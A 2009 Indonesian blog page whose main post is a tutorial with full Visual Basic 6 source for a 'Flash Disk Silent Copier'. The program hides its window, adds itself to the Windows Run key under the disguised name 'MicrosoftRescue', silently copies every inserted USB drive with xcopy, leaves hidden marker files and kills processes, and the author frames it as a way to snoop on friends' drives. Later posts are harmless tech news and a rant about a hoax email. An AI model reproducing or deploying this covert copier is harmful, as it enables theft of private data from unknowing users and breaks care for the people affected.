10 Agustus 2009

Flash Disk Silent Copier

Teman anda sering meminjam komputer Anda. Atau komputer yang Anda gunakan di kantor adalah komputer yang digunakan bersama, oleh beberapa orang. Dengan kondisi seperti itu, pernahkah terlintas dalam fikiran Anda, untuk menyalin file-file pada flashdisk yang ditancapkannya pada port usb di komputer Anda, secara diam-diam? Anda mungkin penasaran, apa saja sih yang berada pada flashdisk teman Anda tersebut? Saya, jujur saja, menjadi tertarik, setelah seorang teman saya meminta dibuatkan program untuk menyalin semua isi di flashdisk yang tertancap di komputernya, secara diam-diam. Mula-mula saya tertawa, meskipun dalam hati tertarik juga. Boleh juga, kata saya kepada teman tersebut. Dan kami tertawa bersama. Tertawa dengan tanduk yang mulai tumbuh di kepala smile_devil

625116-usb-flash-disk-1
Sebelumnya, saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Dan lewat artikel ini, saya juga ingin memberitahukan bahwa kemungkinan data Anda tercuri, jika Anda menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi, berhati-hatilah!


Program ini saya buat dengan menggunakan Microsoft Visual Basic 6.0, dan hanya menggunakan 1 (satu) form dan 1 (satu) module.


Jadi, buka Visual Basic Anda, buat sebuat project baru, lalu pada form kosong yang tersedia, tambahkan 2 control timer. Namai control timer pertama dengan nama tmrCek dan control timer kedua dengan nama tmrCekExist. Ubah property  interval keduanya menjadi 1000 (untuk mengeset agar program ini mengecek keberadaan flashdisk yang ada, setiap 1 detik sekali / 1000 milisecond). Jangan lupa juga untuk menamai form tersebut dengan nama frmFDSC, dan ubah juga property Visible-nya menjadi False.

 

64702434

Kemudian, pada jendela code editor form tersebut, tambahkan kode-kode berikut:

   1:  



   2: Option Explicit



   3:  



   4: Private Declare Function GetDriveType Lib "kernel32" _



   5:  



   6: Alias "GetDriveTypeA" (ByVal nDrive As String) As Long



   7: Dim sFolder As 



   8: String



   9: Dim sLabel As String



  10: Dim sToday As String



  11: Dim sPenanda As 



  12: String



  13: Dim nDelay As Integer



  14: Dim sDrive As String



  15:  



  16: Private Sub Form_Load()



  17: Dim sHasil As String



  18:  



  19: Me.Visible = False



  20:  App.TaskVisible = 



  21: False



  22:  sHasil = AmbilString(HKLM, 



  23: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 



  24: "MicrosoftRescue")



  25:  If sHasil = "" 



  26: Then



  27:  If BuatString(HKLM, 



  28: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "MicrosoftRescue", App.Path 



  29: & "\" & App.EXEName & ".exe") = True 



  30: Then



  31:  'Ok, 



  32: autorun di registry berhasil 



  33: dibuat.



  34:  End 



  35: If



  36:  End If



  37:  sFolder = 



  38: "c:\backup"



  39:  If Dir(sFolder, vbDirectory) = "" 



  40: Then



  41:  On Error GoTo 



  42: SkipIt



  43:  MkDir 



  44: sFolder



  45:  End If



  46: SkipIt:



  47:  sLabel = 



  48: ""



  49: End Sub



  50:  



  51: Private Sub tmrCek_Timer()



  52: Dim i As Integer



  53: Dim X



  54: Dim sCmd As 



  55: String



  56:  sToday = Format(Now(), 



  57: "ddMMyyyy")



  58:  CekDrive



  59:  If Not sDrive = 



  60: "" Then



  61:  sPenanda = sDrive & 



  62: "\" & sToday & ".txt"



  63:  sCmd 



  64: = "xcopy.exe " & sDrive & "\*.* " & sFolder & "\" & 



  65: Left(sDrive, 1) & Format(Now(), "yyyyMMdd") & "-" & Format(Now(), 



  66: "HHmmss") & "\*.* /E /C"



  67:  If 



  68: Dir(sPenanda, vbHidden) = "" 



  69: Then



  70:  Open 



  71: "c:\temp.bat" For Output As 



  72: #1



  73:  Print 



  74: #1, "@echo 



  75: off"



  76:  Print 



  77: #1, sCmd



  78:  



  79: Print #1, "copy c:\temp.bat 



  80: c:\berhasil.txt"



  81:  



  82: Close #1



  83:  



  84: If Dir(sFolder, vbDirectory) = "" 



  85: Then



  86:  



  87: MkDir 



  88: sFolder



  89:  



  90: End If



  91:  X = 



  92: Shell("c:\temp.bat", 



  93: vbHide)



  94:  



  95: tmrCek.Enabled = 



  96: False



  97:  



  98: tmrCekExist.Enabled = True



  99:  End 



 100: If



 101:  End If



 102: End Sub



 103:  



 104: Private Sub tmrCekExist_Timer()



 105: Dim X



 106:  nDelay = 



 107: nDelay + 1



 108:  If nDelay >= 5 



 109: Then



 110:  nDelay = 



 111: 0



 112:  If Dir("c:\berhasil.txt", 



 113: vbNormal) <> "" 



 114: Then



 115:  Kill 



 116: "c:\temp.bat"



 117:  



 118: Kill 



 119: "c:\berhasil.txt"



 120:  



 121: Open sPenanda For Output As 



 122: #1



 123:  Print 



 124: #1, sToday



 125:  



 126: Close #1



 127:  X 



 128: = Shell("attrib.exe +h " & sPenanda, 



 129: vbHide)



 130:  



 131: KillApp 



 132: ("xcopy.exe")



 133:  



 134: KillApp 



 135: ("temp.bat")



 136:  



 137: X = Shell("taskkill.exe xcopy.exe", 



 138: vbHide)



 139:  X 



 140: = Shell("taskkill.exe temp.bat", 



 141: vbHide)



 142:  



 143: tmrCekExist.Enabled = 



 144: False



 145:  



 146: tmrCek.Enabled = True



 147:  End 



 148: If



 149:  End If



 150: End Sub



 151:  



 152: Sub CekDrive()



 153: Dim ictr As Integer



 154: Dim iDriveCount As 



 155: Integer



 156: Dim sAllDrives As String



 157: ReDim sDrives(0) As 



 158: String



 159:  For ictr = 66 To 



 160: 90



 161:  sDrive = Chr(ictr) & 



 162: ":"



 163:  If DriveType(sDrive) = 



 164: "Removable Drive" 



 165: Then



 166:  



 167: sDrive = 



 168: sDrive



 169:  



 170: Exit Sub



 171:  



 172: iDriveCount = iDriveCount + 1



 173:  End 



 174: If



 175:  Next



 176:  sDrive = ""



 177: End Sub



 178:  



 179: Private Function DriveType(Drive As String) As String



 180: Dim sAns As 



 181: String, lAns As Long



 182:  If Len(Drive) = 1 Then Drive = Drive 



 183: & ":"



 184:  If Len(Drive) = 2 And Right$(Drive, 1) = ":" 



 185: Then Drive = Drive & ""



 186:  lAns = 



 187: GetDriveType(Drive)



 188:  Select Case 



 189: lAns



 190:  Case 



 191: 2



 192:  sAns = 



 193: "Removable Drive"



 194:  Case 



 195: 3



 196:  sAns = 



 197: "Fixed Drive"



 198:  Case 



 199: 4



 200:  sAns = 



 201: "Remote Drive"



 202:  Case 



 203: 5



 204:  sAns = 



 205: "CD-ROM"



 206:  Case 



 207: 6



 208:  sAns = 



 209: "RAM Disk"



 210:  Case 



 211: Else



 212:  sAns 



 213: = "Drive Doesn't Exist"



 214:  End Select



 215:  



 216: DriveType = sAns



 217: End Function






Setelah itu, tambahkan sebuah modul. Beri nama modul tersebut dengan nama modReg. Kemudian, tambahkan code-code berikut pada module tersebut:





   1: Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or 



   2: &H10&



   3: Private Const KEY_WRITE = &H20000 Or &H2& Or 



   4: &H4&



   5: Public Const HKCU = &H80000001



   6: Public Const HKLM = 



   7: &H80000002



   8: Private Const REG_SZ = 1



   9: Private Const REG_DWORD = 



  10: 4



  11: Private Const ERROR_SUCCESS = 0&



  12: Private Declare Function 



  13: RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal 



  14: lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult 



  15: As Long) As Long



  16: Private Declare Function RegSetValueEx Lib "advapi32.dll" 



  17: Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal 



  18: Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As 



  19: Long



  20: Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias 



  21: "RegQueryValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal 



  22: lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As 



  23: Long



  24: Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As 



  25: Long) As Long



  26: Const MAX_PATH& = 260



  27: Private Declare Function 



  28: TerminateProcess _



  29:  Lib "kernel32" (ByVal ApphProcess As 



  30: Long, _



  31:  ByVal uExitCode As Long) As Long



  32: Private 



  33: Declare Function OpenProcess Lib _



  34:  "kernel32" (ByVal 



  35: dwDesiredAccess As Long, _



  36:  ByVal blnheritHandle As Long, 



  37: _



  38:  ByVal dwAppProcessId As Long) As Long



  39: Private Declare 



  40: Function ProcessFirst _



  41:  Lib "kernel32" Alias 



  42: "Process32First" _



  43:  (ByVal hSnapshot As Long, 



  44: _



  45:  uProcess As PROCESSENTRY32) As Long



  46: Private Declare 



  47: Function ProcessNext _



  48:  Lib "kernel32" Alias 



  49: "Process32Next" _



  50:  (ByVal hSnapshot As Long, 



  51: _



  52:  uProcess As PROCESSENTRY32) As Long



  53: Private Declare 



  54: Function CreateToolhelpSnapshot _



  55:  Lib "kernel32" Alias 



  56: "CreateToolhelp32Snapshot" _



  57:  (ByVal lFlags As Long, 



  58: _



  59:  lProcessID As Long) As Long



  60: Private Declare Function 



  61: CloseHandle _



  62:  Lib "kernel32" (ByVal hObject As Long) As 



  63: Long



  64: Private Type LUID



  65:  lowpart As Long



  66: highpart As Long



  67: End 



  68: Type



  69: Private Type TOKEN_PRIVILEGES



  70:  PrivilegeCount As 



  71: Long



  72:  LuidUDT As LUID



  73:  Attributes As 



  74: Long



  75: End Type



  76: Const TOKEN_ADJUST_PRIVILEGES = &H20



  77: Const 



  78: TOKEN_QUERY = &H8



  79: Const SE_PRIVILEGE_ENABLED = &H2



  80: Const 



  81: PROCESS_ALL_ACCESS = &H1F0FFF



  82: Private Declare Function GetVersion Lib 



  83: "kernel32" () As Long



  84: Private Declare Function GetCurrentProcess 



  85: _



  86:  Lib "kernel32" () As Long



  87: Private Declare Function 



  88: OpenProcessToken _



  89:  Lib "advapi32" (ByVal ProcessHandle As 



  90: Long, _



  91:  ByVal DesiredAccess As Long, 



  92: _



  93:  TokenHandle As Long) As Long



  94: Private Declare Function 



  95: LookupPrivilegeValue _



  96:  Lib "advapi32" Alias 



  97: "LookupPrivilegeValueA" _



  98:  (ByVal lpSystemName As String, 



  99: _



 100:  ByVal lpName As String, _



 101:  lpLuid 



 102: As LUID) As Long



 103: Private Declare Function AdjustTokenPrivileges 



 104: _



 105:  Lib "advapi32" (ByVal TokenHandle As Long, 



 106: _



 107:  ByVal DisableAllPrivileges As Long, 



 108: _



 109:  NewState As TOKEN_PRIVILEGES, _



 110:  



 111: ByVal BufferLength As Long, _



 112:  PreviousState As Any, 



 113: _



 114:  ReturnLength As Any) As Long



 115: Private Type 



 116: PROCESSENTRY32



 117:  dwSize As Long



 118:  cntUsage As 



 119: Long



 120:  th32ProcessID As Long



 121:  th32DefaultHeapID As 



 122: Long



 123:  th32ModuleID As Long



 124:  cntThreads As 



 125: Long



 126:  th32ParentProcessID As Long



 127:  pcPriClassBase 



 128: As Long



 129:  dwFlags As Long



 130:  szexeFile As String * 



 131: MAX_PATH



 132: End Type



 133:  



 134: Public Function KillApp(myName As String) As Boolean



 135:  Const 



 136: TH32CS_SNAPPROCESS As Long = 2&



 137:  Const PROCESS_ALL_ACCESS = 



 138: 0



 139:  Dim uProcess As PROCESSENTRY32



 140:  Dim rProcessFound As 



 141: Long



 142:  Dim hSnapshot As Long



 143:  Dim szExename As String



 144:  



 145: Dim exitCode As Long



 146:  Dim myProcess As Long



 147:  Dim AppKill As 



 148: Boolean



 149:  Dim appCount As Integer



 150:  Dim i As Integer



 151:  



 152: On Local Error GoTo Finish



 153:  appCount = 0



 154:  uProcess.dwSize = 



 155: Len(uProcess)



 156:  hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 



 157: 0&)



 158:  rProcessFound = ProcessFirst(hSnapshot, uProcess)



 159:  Do 



 160: While rProcessFound



 161:  i = InStr(1, 



 162: uProcess.szexeFile, Chr(0))



 163:  szExename = 



 164: LCase$(Left$(uProcess.szexeFile, i - 1))



 165:  



 166: If Right$(szExename, Len(myName)) = LCase$(myName) 



 167: Then



 168:  KillApp = 



 169: True



 170:  appCount = 



 171: appCount + 1



 172:  



 173: myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, 



 174: _



 175:  



 176: uProcess.th32ProcessID)



 177:  



 178: If KillProcess(uProcess.th32ProcessID, 0) 



 179: Then



 180:  



 181: 'Tidak ada process yang di 



 182: stop



 183:  End 



 184: If



 185:  End If



 186:  rProcessFound 



 187: = ProcessNext(hSnapshot, uProcess)



 188: Loop



 189: Call 



 190: CloseHandle(hSnapshot)



 191: Exit Function



 192: Finish:



 193:  MsgBox 



 194: "Error!"



 195: End Function



 196:  



 197: Function KillProcess(ByVal hProcessID As Long, Optional ByVal 



 198: _



 199:  



 200: exitCode As Long) As Boolean



 201:  Dim hToken As 



 202: Long



 203:  Dim hProcess As Long



 204:  Dim tp As 



 205: TOKEN_PRIVILEGES



 206:  If GetVersion() >= 0 



 207: Then



 208:  If 



 209: OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or 



 210: _



 211:  



 212: TOKEN_QUERY, hToken) = 0 



 213: Then



 214:  GoTo 



 215: CleanUp



 216:  End 



 217: If



 218:  If LookupPrivilegeValue("", 



 219: "SeDebugPrivilege", tp.LuidUDT) = 0 



 220: Then



 221:  GoTo 



 222: CleanUp



 223:  End 



 224: If



 225:  tp.PrivilegeCount = 



 226: 1



 227:  tp.Attributes = 



 228: SE_PRIVILEGE_ENABLED



 229:  If 



 230: AdjustTokenPrivileges(hToken, False, tp, 0, ByVal 0&, 



 231: _



 232:  ByVal 0&) 



 233: = 0 Then



 234:  



 235: GoTo CleanUp



 236:  End 



 237: If



 238:  End If



 239:  hProcess = 



 240: OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)



 241:  If hProcess 



 242: Then



 243:  KillProcess = 



 244: (TerminateProcess(hProcess, exitCode) <> 



 245: 0)



 246:  CloseHandle 



 247: hProcess



 248:  End If



 249:  If GetVersion() 



 250: >= 0 Then



 251:  tp.Attributes = 



 252: 0



 253:  AdjustTokenPrivileges hToken, 



 254: False, tp, 0, ByVal 0&, ByVal 



 255: 0&



 256: CleanUp:



 257:  If hToken Then 



 258: CloseHandle hToken



 259:  End If



 260: End Function



 261:  



 262: Public Function BuatDword(ByVal hkey As Long, ByVal alamat As String, ByVal 



 263: nama As String, ByVal nilai As Long) As Boolean



 264:  Dim Handle 



 265: As Long



 266:  Dim hasil As Long



 267:  hasil = 



 268: RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)



 269:  If hasil 



 270: <> ERROR_SUCCESS Then



 271:  



 272: BuatDword = False



 273:  



 274: Else



 275:  BuatDword = 



 276: True



 277:  End If



 278:  RegSetValueEx Handle, 



 279: nama, 0&, REG_DWORD, nilai, 4&



 280:  RegCloseKey 



 281: Handle



 282: End Function



 283:  



 284: Public Function BuatString(ByVal hkey As Long, ByVal alamat As String, 



 285: ByVal nama As String, ByVal nilai As String) As Boolean



 286:  



 287: Dim Handle As Long



 288:  Dim hasil As Long



 289:  



 290: hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)



 291:  



 292: If hasil <> ERROR_SUCCESS 



 293: Then



 294:  BuatString = 



 295: False



 296:  Else



 297:  



 298: BuatString = True



 299:  End If



 300:  



 301: RegSetValueEx Handle, nama, 0, REG_SZ, ByVal nilai, 



 302: Len(nilai)



 303:  RegCloseKey Handle



 304: End Function



 305:  



 306: Public Function AmbilDword(ByVal hkey As Long, ByVal alamat As String, 



 307: nama As String) As Long



 308:  On Error Resume 



 309: Next



 310:  Dim Handle As Long



 311:  RegOpenKeyEx 



 312: hkey, alamat, 0, KEY_READ, Handle



 313:  AmbilDword = 



 314: RegQueryValue(Handle, nama)



 315:  RegCloseKey Handle



 316: End 



 317: Function



 318:  



 319: Public Function AmbilString(ByVal hkey As Long, ByVal alamat As String, 



 320: ByVal nama As String) As String



 321:  On Error Resume 



 322: Next



 323:  Dim Handle As Long



 324:  RegOpenKeyEx 



 325: hkey, alamat, 0, KEY_READ, Handle



 326:  AmbilString = 



 327: RegQueryValue(Handle, nama)



 328:  RegCloseKey Handle



 329: End 



 330: Function



 331:  



 332: Private Function RegQueryValue(ByVal hkey As Long, ByVal strValueName As 



 333: String) As String



 334:  Dim hasil As Long



 335:  



 336: Dim Jenis As Long



 337:  Dim Buffer As 



 338: String



 339:  Dim Ukuran As Long



 340:  hasil = 



 341: RegQueryValueEx(hkey, strValueName, 0, Jenis, ByVal 0, 



 342: Ukuran)



 343:  If hasil = 0 



 344: Then



 345:  If Jenis = REG_SZ 



 346: Then



 347:  



 348: Buffer = String(Ukuran, 



 349: Chr$(0))



 350:  



 351: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, ByVal Buffer, 



 352: Ukuran)



 353:  If 



 354: hasil = 0 Then RegQueryValue = Left$(Buffer, InStr(1, Buffer, Chr$(0)) - 



 355: 1)



 356:  ElseIf Jenis = REG_DWORD 



 357: Then



 358:  Dim 



 359: strdata As 



 360: Integer



 361:  



 362: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, strdata, 



 363: Ukuran)



 364:  If 



 365: hasil = 0 Then RegQueryValue = 



 366: strdata



 367:  End 



 368: If



 369:  End If



 370: End Function






Sekarang, compile program Anda, tempatkan file .exe yang dihasilkan pada folder tertentu yang Anda kehendaki. Saya pribadi menempatkannya pada folder Windows. Kemudian, jalankan program tersebut (jangan jalankan dari dalam IDE Visual Basic!). Anda tidak akan melihat apapun di layar, karena form-nya di-set Invisible. Program tersebut juga akan membuat sebuah key pada registry komputer, agar dapat berjalan otomatis, setiap kali windows dijalankan. Dan, setiap kali sebuah flash-disk ditancapkan, dia akan segera mendeteksinya, untuk kemudian melakukan proses penyalinan ke sebuah folder yang telah ditentukan.





Kelemahan dari program ini adalah bahwa proses copy yang dilakukan, masih menggunakan program eksternal, yaitu xcopy.exe, yang merupakan program bawaan Windows. Anda tidak perlu menyertakan program xcopy exe ini, karena program tersebut tersedia pada distribusi windows yang Anda pakai. Kelemahan ke dua dari program ini adalah cara pemeriksaan flashdisk yang masih menggunakan cara manual, yaitu dengan memeriksa keberadaan file tertentu yang ditambahkan pada flashdisk, setelah program selesai menyalin isi flashdisk tersebut. Kelemahan ke tiga dari program ini adalah tidak adanya fasilitas untuk memberikan jeda / waktu tunda yang cukup, setelah program selesai menyalin isi flashdisk, sehingga menyebabkan pada kasus tertentu, flashdisk tidak bisa di-remove, karena Windows menganggap masih adanya proses tertentu yang mengakses flashdisk tersebut. Itu semua akan menjadi PR buat Anda, untuk menjadikan program ini lebih baik. Saya tidak akan memberitahukan caranya, karena itu tidak akan membuat Anda menjadi lebih kreatif.





Dan, sekali lagi saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Artikel ini hanyalah sebuah media, dimana kita bisa belajar kemungkinan data Anda tercuri, jika Anda


menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi sekali lagi, berhati-hatilah!



Anda bisa mendapatkan program ini dan source-code-nya, dengan cara mengirimkan email ke asopyan@eras.web.id.





Catatan: gambar ilustrasi untuk artikel ini saya ambil dari http://suaidi2007.wordpress.com.

16 Juli 2009

giveawayoftheday.com, Satu Software Gratis Setiap Hari

16giveaway-logoPernah terfikir ingin membeli sebuah software berlisensi, namun terhalang oleh harganya yang mahal? giveawayoftheday.com bisa jadi salah satu solusi alternatifnya. Setiap hari, web tersebut memberikan satu software berlisensi secara gratis. Dan ini bukan bohong atau tipuan. Anda tinggal mendownload software yang tersedia pada hari itu, dan menginstallnya, secara gratis.


Misalnya pada hari artikel ini ditulis, yaitu pada hari Kamis, tanggal 16 Juli 2009, software yang tersedia untuk didownload adalah Paragon Net Burner 2.0. Software ini adalah sebuah tools untuk menjadikan cd/dvd burner yang terpasang pada komputer Anda, dapat diakses oleh komputer lainnya, dalam jaringan yang sama. Jadi, jika komputer A memiliki DVD burner dan komputer B tidak memilikinya, namun mereka terhubung ke dalam sebuah jaringan, Anda dapat menggunakan software ini agar komputer B juga dapat memakai DVD burner yang terpasang pada komputer A. Ini software yang cukup menarik. Setidaknya buat saya. Software ini dijual dengan harga US$ 39.95, atau sekitar empat ratus ribu rupiah lebih. Namun pada hari ini, saya bisa memilikinya dengan gratis.

97980835

Namun, memang ada syarat tertentu yang harus Anda patuhi dalam mendownload dan meng-install software yang disediakan ini. Syaratnya sebenarnya tidak sulit. Yaitu bahwa Anda hanya diberikan waktu 24 jam sejak giveawayoftheday.com "menerbitkannya" pada web mereka. Lewat dari waktu itu, software itu tidak akan bisa Anda install di komputer Anda. Lalu, apakah masa berlaku pemakaian software itu juga hanya untuk hari itu saja? Oh, jangan khawatir. Anda dapat menggunakan software tersebut, selama Anda mau.


Tapi kesulitannya memang bahwa jika Anda terpaksa harus meng-install ulang software tersebut di lain hari, hal itu tak dapat Anda lakukan, karena "masa gratis"-nya sudah lewat. Atau dengan kata lain, giveawayoftheday.com memberikan software gratis, dengan syarat, Anda hanya bisa meng-installnya satu kali saja. Itu syarat yang wajar, saya kira. Saya tidak berkeberatan untuk mematuhi syarat tersebut. Lagipula, jika Anda sudah terlewat untuk sebuah software, akan ada software lainnya yang menanti Anda, esok hari dan seterusnya.


Tertarik? Silahkan kunjungi webnya yang beralamat di www.giveawayoftheday.com. Kalau perlu, Anda dapat berlangganan email tentang software yang disediakan setiap harinya. Dengan demikian, Anda akan tahu, apa software yang tersedia pada hari itu. Dan jika Anda tertarik, segeralah mendownload-nya, dan langsung meng-installnya, dalam kurun waktu yang tersedia. Untuk berlangganan via email, Anda dapat mengklik alamat ini: http://www.feedburner.com/fb/a/emailverifySubmit?feedId=707189


Silahkan... smile_teeth

09 Juli 2009

Google Siap Mengancam Microsoft Dengan Sistem Operasi Baru

 93Google

Setelah sebelumnya Microsoft mengancam dominasi Google dengan mesin pencarinya, Bing, kini Google balas mengancam Microsoft dengan rencananya untuk mengeluarkan sistem operasinya sendiri.


Sistem operasi baru besutan Google tersebut rencananya akan dirilis pada pertengahan tahun 2010, dengan nama Chrome OS, yang terinspirasi dari Google Chrome. Dan tidak tanggung-tanggung, Google sudah menggandeng sedikitnya 4 (empat) vendor besar untuk disertakan dalam laptop / netbook yang mereka keluarkan. Mereka adalah Hewlett Packard (HP), Acer, Lenovo, dan Asus.

53google-chrome-300x286

Sedikit-banyak, ini tentu saja akan membuat pihak Microsoft khawatir, mengingat Google merencanakan untuk menjual sistem operasinya dengan harga murah. Dan bukan tidak mungkin, dalam beberapa tahun, dominasi Microsoft Windows sebagai sistem operasi yang konon katanya paling banyak dipakai orang, akan tergeser oleh Google Chromes OS. Padahal Microsoft sudah cukup kerepotan dengan hadirnya Linux yang kian hari kian tangguh saja, dan tentu saja kian menarik minat banyak pihak untuk memakainya. Juga ditambah lagi dengan peluncuran Mac.OS terbaru, yang juga dijual dengan harga lebih murah. Dan meskipun didesain untuk komputer Mac, namun karena Mac sendiri sudah banyak menggunakan prosesor Intel, bahkan sudah ada "kloning" Mac.OS yang bisa di-install di PC biasa.


Padahal, akhir tahun ini, Microsoft baru akan meluncurkan Windows 7, yang berarti bahwa "masa bebas" Microsoft dalam menjual sistem operasinya akan terganggu dengan kehadiran Google Chrome OS dan sistem operasi lainnya. Buat para pengguna, ini mungkin akan menjadi berita menggembirakan, karena akan makin banyak pilihan untuk sistem operasi yang akan digunakan.


Atau malah akan membuat bingung?

27 Juni 2009

Michael Jackson Meninggal, Google dan Twitter Pingsan?

l32michael-jackson Berita meninggalnya King of Pop, Michael Jackson yang cukup fenomenal, rupanya membuat banyak orang mencari berita tentangnya di internet. Akibatnya, beberapa situs besar seperti Google, Twitter dan bahkan Yahoo! sempat down selama beberapa menit, karena jutaan orang mencari informasi yang berkaitan dengan peristiwa tersebut secara bersamaan. 


Beberapa orang mengaku bahwa dalam jangka waktu beberapa menit, pencarian mereka di Google hanya menghasilkan kalimat permintaan maaf karena tidak menemukan subjek berita atau artikel yang dicari! Hal yang sama rupanya juga terjadi pada Yahoo!, meskipun rentang waktunya lebih pendek. Sedangkan Twitter mengakui servernya sempat down karena terlalu banyaknya pengguna yang memposting tentang Michael Jackson dalam waktu bersamaan.


Jadi rupanya, tidak hanya para penggemar Jacko yang dibuat pingsan, namun Google, Yahoo dan Twitter juga mengalami hal yang sama.

26 Juni 2009

Hoax Itu Adalah Usaha Pembodohan!

Belum lama ini, saya menerima email yang mengkritik tentang sebuah lagu anak-anak lama berjudul "Balonku". Menurut si pengirim email, lagu tersebut adalah usaha pembodohan terhadap kita. Namun menurut saya, justru email hoax tersebut justru yang melakukan usaha pembodohan.


Syair lagu "Balonku" menurut email hoax tersebut adalah:


Balonku ada lima
rupa-rupa warnanya
merah kuning kelabu
merah muda dan biru
Meletus balon hijau
..................................


kemudian si pengirim email, atau mungkin lebih tepat si pembuat email, mempertanyakan, bagaimana bisa yang meletus balon hijau, padahal dalam daftar pada bait sebelumnya tidak ada balon berwarna hijau?


Kalau saya berhadapan langsung dengan si pembuat hoax, akan saya berikan syair yang benar dari lagu tersebut:


Balonku ada lima
rupa-rupa warnanya
hijau kuning kelabu
merah muda dan biru
Meletus balon hijau
..................................


Lihat? Ada warna yang diubah oleh si pembuat email hoax tersebut! Dan lagi, jika yang benar adalah syair pertama (dari email hoax tersebut), bukankah sudah ada warna merah di baris ke tiga, kenapa pula harus ditambahkan dengan warna merah muda di baris ke tiga? Tidakkan itu adalah pemborosan?


Saya amat menghormati pencipta lagu Balonku tersebut. Tidak mudah membuat sebuah lagu yang berkualitas, namun mudah dicerna oleh pikiran anak-anak, dan memakai bahasa anak-anak. Anda bisa membuat lagu macam itu?


Masih banyak email hoax yang lainnya. Dan beberapa dari mereka, masuk ke inbox email saya, sampai beberapa kali, dari beberapa orang yang berbeda.


Saya tidak tahu, maksud terselubung dari si pembuat email sampah tersebut. Tapi saya bisa bilang bahwa orang tersebut adalah orang yang tidak punya kualitas! Email-email hoax macam itu justru adalah usaha pembodohan, karena menggiring pembacanya dengan pengertian yang salah, dengan gaya bahasa yang sungguh meyakinkan.


Namun yang membuat saya lebih bersedih adalah bahwa ternyata, teman-teman saya, dengan sukarela mem-forward email tersebut ke alamat-alamat email teman-teman yang dikenalnya, tanpa berfikir panjang terlebih dahulu. Saya hanya ingin mengingatkan pada Anda, sebelum Anda mem-forward email kepada orang lain, pikirkanlah dulu dampaknya. Pikirkan dulu berulang kali, dan pastikan bahwa informasi yang terkandung dalam email tersebut adalah benar, sebelum Anda mengirimkannya kepada orang lain. Anda tentu tidak ingin ikut disebut sebagai orang bodoh kan?

08 Juni 2009

Wolframalpha, Asyiknya Mencari Informasi

36WASatu lagi pesaing baru buat Google. Namun berbeda dengan Google, Wolfram|Alpha nampaknya lebih memfokuskan hasil pencarian pada pengetahuan, bukan pada sekedar informasi biasa. Ini terbukti ketika kita memasukkan kata yang dicari (keyword), Wolfram|Alpha akan menampilkan informasi-informasi terkait dengan kata atau kalimat yang kita masukkan. Misalnya, saat saya memasukkan kata Indonesia, maka yang keluar adalah tampilan seperti berikut ini:


86202048


Cukup lengkap bukan? Namun saat saya memasukkan keyword web ini, yaitu eras.web.id, maka yang keluar hanya penjelasan singkat bahwa eras.web.id adalah sebuah domain, yang berlokasi di Dalas, Texas, Amerika Serikat. Wah, saya baru tahu kalau lokasi server hosting saya ada di Texas. Padahal selama ini, saya cuma tahu bahwa web ini dihosting di Amerika. Itu saja.


Wolfram|Alpha, yang menasbihkan diri sebagai "computation knowledge engine", atau mungkin terjemahan bebasnya adalah Mesin Pencari Pengetahuan Yang Terkomputasi. Jadi, memang, bila kita memasukkan keyword sembarangan, maka Wolfram|Alpha akan menerjemahkannya ke dalam kata yang terdekat dengan kata yang kita masukkan, baru kemudian ditampilkan informasi yang berkaitan dengan itu.


Sebagai mesin pencari, saya harus mengakui Wolfram|Alpha cukup mengasyikkan untuk dicoba. Memang informasi yang ditampilkan tidak selengkap Google, namun jika Anda ingin mencari tahu tentang suatu kata atau kalimat, Wolfram|Alpha bisa menjadi salah satu solusi alternatif. Masa sih, tidak bisa mencari sembarang keyword? Coba saja masukkan nama Anda pada web Wolfram|Alpha, dan lihat hasilnya... :)